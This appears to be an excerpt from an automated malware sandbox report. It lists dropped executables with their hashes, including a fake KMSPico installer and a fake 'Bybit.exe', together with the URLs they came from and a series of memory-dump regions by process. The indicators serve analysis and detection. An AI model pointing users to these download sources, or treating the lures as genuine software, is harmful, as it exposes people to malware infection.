              • C:\Users\Admin\AppData\Local\Temp\httpquiz.bloomingkids.comKMSPicoInstaller.exe.exe
                Filesize

                8KB

                MD5

                f5256f26aef600f6b5afc3f62b087251

                SHA1

                78738715afca4f5e60bd619d1d09a50738b91188

                SHA256

                457b1c96ba778c12dfebc10d718bdd66ff50a253d79629d68838a191e35d1f8a

                SHA512

                13ecada6079a23ef18030884740326eee9d8cad0d8045f5c948aa98cb0840e2b35f38249463a2ec7e4aea93eedacbec745787beed9e72e797ad55abe2fb7157b

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httpsbitbucket.orgsolgoodmanzixenbergdownloadsBybit.exe.exe
                Filesize

                19.2MB

                MD5

                5714fda573903cc3a216c135ae24317c

                SHA1

                93da70bac751c0e81ddce05d2f38e82266a2c9d3

                SHA256

                dcebdabfa1a0cdbd79211415d000141b6ce923bce9817533c57a7c0450279259

                SHA512

                aa70cd4376ae24cbca6eee74cd53f300e6bd6653e1770c9e696fedb34725a84bd8b7d23db156dc0940c5a878b38d83abb5d78df1bc144f4f28e3c665d2051a49

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com1.exe.exe
                Filesize

                5.1MB

                MD5

                1db00ee7f85164f081e7cf05d7fa08a9

                SHA1

                3873ac785933719ff58d25085d66ceb5c1759e25

                SHA256

                a428a19abb6b3df11ef0abb1b0766df0b431400b362c1227f81ae3912f01d95c

                SHA512

                7f38a1fa8c1e770bd59734289668659aa8470b3d5a61842f5102b6e75ead71f13a98ccc2225df8a12a142bc125efb8851cb17c5cb59242baa2b22331553e7c10

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com2.exe.exe
                Filesize

                9.7MB

                MD5

                ac51b053655353a458b6b55f7519e56b

                SHA1

                577eaa28dcffff652ca513a000ec00eceddda9df

                SHA256

                a8bfb588ac2006a3634cf50fcf144459cb4a748ef4b69c3c8170efcf4666438d

                SHA512

                8901dfd2dd12f60a425ef8bb812396e953afe5094a86720b08ec9893cf3fdb8b80d8060dbf68cc5bfa7021e1b4a3e54d147ff938ebe3dea3d76086a2ef178513

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com3.exe.exe
                Filesize

                16.0MB

                MD5

                2dc8cdf825e23ff1df1ad11b3a6f1973

                SHA1

                82af57e0e6d7cf944148d3a16d7c8ca94fa982f8

                SHA256

                5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0

                SHA512

                3f20bb95a167d10a2998a63ab0ccd69fe81822d24a39d868d019ac0ff890067c23c015dc0be531d9531be26d6d3f44d7f11c23214ba4778e038b6844f8c8879b

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httpsdewatabalirental.com4.exe.exe
                Filesize

                728KB

                MD5

                58d65f5fca31cd83c18163b56b27f246

                SHA1

                ebb839bff73785c78d54128b235f72ce1c5c0cee

                SHA256

                7b827fb44a58dd2362be39abafa00a74e2f105c0fc5a5aa4ef3f3bdac5d13408

                SHA512

                5502a4d0e57fe051edf0098a32fce0ebe94108c841d327e773764fcf62c95dec96af772c0f8fbc56e2b7220d3189931c09905f24838eb3dc3f539dcfd3ffac5f

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\httptwizt.netnewtpp.exe.exe
                Filesize

                83KB

                MD5

                06560b5e92d704395bc6dae58bc7e794

                SHA1

                fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

                SHA256

                9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

                SHA512

                b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

                Download Submit

              • memory/524-237-0x0000000002E20000-0x0000000003083000-memory.dmp

                Filesize

                2.4MB

                Download

              • memory/524-211-0x0000000000400000-0x0000000000E2A000-memory.dmp

                Filesize

                10.2MB

                Download

              • memory/524-167-0x0000000061E00000-0x0000000061EF3000-memory.dmp

                Filesize

                972KB

                Download

              • memory/524-163-0x0000000002E20000-0x0000000003083000-memory.dmp

                Filesize

                2.4MB

                Download

              • memory/588-156-0x0000000004FE0000-0x0000000004FEA000-memory.dmp

                Filesize

                40KB

                Download

              • memory/588-152-0x0000000005440000-0x00000000059E4000-memory.dmp

                Filesize

                5.6MB

                Download

              • memory/588-153-0x0000000004F40000-0x0000000004FD2000-memory.dmp

                Filesize

                584KB

                Download

              • memory/588-151-0x00000000005D0000-0x000000000068C000-memory.dmp

                Filesize

                752KB

                Download

              • memory/664-324-0x000001FD63850000-0x000001FD63870000-memory.dmp

                Filesize

                128KB

                Download

              • memory/664-390-0x00007FF709550000-0x00007FF709D3F000-memory.dmp

                Filesize

                7.9MB

                Download

              • memory/664-352-0x00007FF709550000-0x00007FF709D3F000-memory.dmp

                Filesize

                7.9MB

                Download

              • memory/664-359-0x00007FF709550000-0x00007FF709D3F000-memory.dmp

                Filesize

                7.9MB

                Download

              • memory/664-385-0x00007FF709550000-0x00007FF709D3F000-memory.dmp

                Filesize

                7.9MB

                Download

              • memory/664-394-0x00007FF709550000-0x00007FF709D3F000-memory.dmp

                Filesize

                7.9MB

                Download

              • memory/664-337-0x00007FF709550000-0x00007FF709D3F000-memory.dmp

                Filesize

                7.9MB

                Download

              • memory/664-361-0x00007FF709550000-0x00007FF709D3F000-memory.dmp

                Filesize

                7.9MB

                Download

              • memory/664-396-0x00007FF709550000-0x00007FF709D3F000-memory.dmp

                Filesize

                7.9MB

                Download

              • memory/800-387-0x0000000000400000-0x000000000045C000-memory.dmp

                Filesize

                368KB

                Download

              • memory/800-391-0x0000000000400000-0x000000000045C000-memory.dmp

                Filesize

                368KB

                Download

              • memory/1228-1-0x0000025E68430000-0x0000025E6843A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/1228-0-0x00007FFF0D0C3000-0x00007FFF0D0C5000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1228-2-0x00007FFF0D0C3000-0x00007FFF0D0C5000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1228-99-0x00007FFF0D0C0000-0x00007FFF0DB81000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/1228-3-0x00007FFF0D0C0000-0x00007FFF0DB81000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2284-160-0x0000000000B40000-0x0000000000B46000-memory.dmp

                Filesize

                24KB

                Download

              • memory/2468-349-0x0000000000400000-0x000000000045D000-memory.dmp

                Filesize

                372KB

                Download

              • memory/2468-350-0x0000000000400000-0x000000000045D000-memory.dmp

                Filesize

                372KB

                Download

              • memory/2504-91-0x0000000007BF0000-0x0000000007C0A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/2504-78-0x000000006FB00000-0x000000006FB4C000-memory.dmp

                Filesize

                304KB

                Download

              • memory/2504-75-0x0000000006890000-0x00000000068AE000-memory.dmp

                Filesize

                120KB

                Download

              • memory/2504-74-0x0000000006230000-0x0000000006584000-memory.dmp

                Filesize

                3.3MB

                Download

              • memory/2504-77-0x0000000006E70000-0x0000000006EA2000-memory.dmp

                Filesize

                200KB

                Download

              • memory/2504-64-0x00000000061C0000-0x0000000006226000-memory.dmp

                Filesize

                408KB

                Download

              • memory/2504-88-0x0000000006EB0000-0x0000000006ECE000-memory.dmp

                Filesize

                120KB

                Download

              • memory/2504-63-0x0000000006150000-0x00000000061B6000-memory.dmp

                Filesize

                408KB

                Download

              • memory/2504-89-0x0000000007A90000-0x0000000007B33000-memory.dmp

                Filesize

                652KB

                Download

              • memory/2504-62-0x0000000005970000-0x0000000005992000-memory.dmp

                Filesize

                136KB

                Download

              • memory/2504-61-0x0000000005A30000-0x0000000006058000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/2504-76-0x00000000068C0000-0x000000000690C000-memory.dmp

                Filesize

                304KB

                Download

              • memory/2504-90-0x0000000008270000-0x00000000088EA000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/2504-60-0x0000000003260000-0x0000000003296000-memory.dmp

                Filesize

                216KB

                Download

              • memory/2504-92-0x0000000007C40000-0x0000000007C4A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/2504-93-0x0000000007E50000-0x0000000007EE6000-memory.dmp

                Filesize

                600KB

                Download

              • memory/2504-94-0x0000000007DF0000-0x0000000007E01000-memory.dmp

                Filesize

                68KB

                Download

              • memory/2504-95-0x0000000007E10000-0x0000000007E1E000-memory.dmp

                Filesize

                56KB

                Download

              • memory/2504-96-0x0000000007E20000-0x0000000007E34000-memory.dmp

                Filesize

                80KB

                Download

              • memory/2504-97-0x0000000007F10000-0x0000000007F2A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/2504-98-0x0000000007EF0000-0x0000000007EF8000-memory.dmp

                Filesize

                32KB

                Download

              • memory/2576-353-0x0000000000500000-0x0000000000557000-memory.dmp

                Filesize

                348KB

                Download

              • memory/2576-354-0x0000000000500000-0x0000000000557000-memory.dmp

                Filesize

                348KB

                Download

              • memory/2576-357-0x0000000000500000-0x0000000000557000-memory.dmp

                Filesize

                348KB

                Download

              • memory/2692-281-0x0000000002750000-0x00000000027A9000-memory.dmp

                Filesize

                356KB

                Download

              • memory/2820-245-0x0000000000400000-0x0000000000423000-memory.dmp

                Filesize

                140KB

                Download

              • memory/2820-244-0x0000000000400000-0x0000000000423000-memory.dmp

                Filesize

                140KB

                Download

              • memory/4000-323-0x00007FF692FB0000-0x00007FF693547000-memory.dmp

                Filesize

                5.6MB

                Download

              • memory/4184-304-0x00007FF755470000-0x00007FF755A07000-memory.dmp

                Filesize

                5.6MB

                Download

              • memory/4844-289-0x0000029ECA960000-0x0000029ECA982000-memory.dmp

                Filesize

                136KB

                Download

              • memory/5004-258-0x0000000006B40000-0x0000000006B8C000-memory.dmp

                Filesize

                304KB

                Download

              • memory/5004-256-0x0000000006300000-0x0000000006654000-memory.dmp

                Filesize

                3.3MB

                Download

              • memory/5060-351-0x00007FF687F70000-0x00007FF687F99000-memory.dmp

                Filesize

                164KB

                Download

              • memory/5060-336-0x00007FF687F70000-0x00007FF687F99000-memory.dmp

                Filesize

                164KB

                Download